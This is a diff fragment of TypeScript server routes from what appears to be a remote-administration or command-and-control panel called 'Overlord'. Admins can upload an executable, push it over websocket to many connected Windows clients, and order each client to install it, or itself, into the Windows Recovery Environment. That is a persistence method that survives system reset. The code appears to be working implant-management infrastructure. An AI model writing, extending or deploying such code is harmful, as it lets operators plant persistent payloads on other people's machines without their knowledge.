Response("Forbidden: Admin access required", { status: 403 }); + } + + let form: FormData; + try { + form = await req.formData(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const file = form.get("file"); + if (!(file instanceof File)) { + return new Response("Missing file", { status: 400 }); + } + + const filename = path.basename(file.name || "upload.exe"); + const id = uuidv4(); + await fs.mkdir(deps.WINRE_ROOT, { recursive: true }); + const folder = path.join(deps.WINRE_ROOT, id); + await fs.mkdir(folder, { recursive: true }); + const targetPath = path.join(folder, filename); + const bytes = new Uint8Array(await file.arrayBuffer()); + await fs.writeFile(targetPath, bytes); + + const entry: WinREUpload = { + id, + path: targetPath, + name: filename, + size: bytes.length, + }; + deps.winreUploads.set(id, entry); + + return Response.json({ ok: true, uploadId: id, name: filename, size: bytes.length }); + } + + if (req.method === "POST" && url.pathname === "/api/winre/install") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const uploadId = typeof body?.uploadId === "string" ? body.uploadId : ""; + const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : []; + if (!uploadId || clientIds.length === 0) { + return new Response("Bad request", { status: 400 }); + } + + const upload = deps.winreUploads.get(uploadId); + if (!upload) { + return new Response("Not found", { status: 404 }); + } + + const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + + for (const clientId of clientIds) { + const target = clientManager.getClient(clientId); + if (!target) { + results.push({ clientId, ok: false, reason: "offline" }); + continue; + } + + const clientOs = (target.os || "").toLowerCase(); + if (!clientOs.includes("windows")) { + results.push({ clientId, ok: false, reason: "windows_only" }); + continue; + } + + const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`; + const destPath = `${destDir}\\${upload.name}`; + + const pullId = createUploadPull({ + clientId, + filePath: upload.path, + fileName: upload.name, + size: upload.size, + }); + const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_upload_http" as any, + id: uuidv4(), + payload: { path: destPath, url: pullUrl, total: upload.size }, + }), + ); + + const cmdId = uuidv4(); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "winre_install", + id: cmdId, + payload: { filePath: destPath }, + }), + ); + + metrics.recordCommand("winre_install"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip: server.requestIP(req)?.address || "unknown", + action: AuditAction.WINRE_INSTALL, + targetClientId: clientId, + success: true, + details: JSON.stringify({ uploadId, filePath: destPath }), + }); + + results.push({ clientId, ok: true }); + } + + return Response.json({ ok: true, results }); + } + + if (req.method === "POST" && url.pathname === "/api/winre/install-self") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : []; + if (clientIds.length === 0) { + return new Response("Bad request", { status: 400 }); + } + + const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + + for (const clientId of clientIds) { + const target = clientManager.getClient(clientId); + if (!target) { + results.push({ clientId, ok: false, reason: "offline" }); + continue; + } + + const clientOs = (target.os || "").toLowerCase(); + if (!clientOs.includes("windows")) { + results.push({ clientId, ok: false, reason: "windows_only" }); + continue; + } + + const cmdId = uuidv4(); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "winre_install", + id: cmdId, + payload: { useSelf: true }, + }), + ); + + metrics.recordCommand("winre_install"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip: server.requestIP(req)?.address || "unknown", + action: AuditAction.WINRE_INSTALL, + targetClientId: clientId, + success: true, + details: JSON.stringify({ useSelf: true }), + }); + + results.push({ clientId, ok: true }); + } + + return Response.json({ ok: true, results }); + } + + if (req.method === "POST" && url.pathname === "/api/winre/uninstall") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : []; + if (clientIds.length === 0) { + return new Response("Bad request", { status: 400 }); + } + + const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + + for (const clientId of clientIds) { + const target = clientManager.getClient(clientId); + if (!target) { + results.push({ clientId, ok: false, reason: "offline" }); + continue; + } + + const clientOs = (target.os || "").toLowerCase(); + if (!clientOs.includes("windows")) { + results.push({ clientId, ok: false, reason: "windows_only" }); + continue; + } + + const cmdId = uuidv4(); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "winre_uninstall", + id: cmdId, + payload: {}, + }), + ); + + metrics.recordCommand("winre_uninstall"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip: server.requestIP(req)?.address || "unknown", + action: AuditAction.WINRE_UNINSTALL, + targetClientId: clientId, + success: true, + details: JSON.stringify({ clientId }), + }); + + results.push({ clientId, ok: true }); + } + + return Response.json({ ok: true, results }); + } + + return null; +}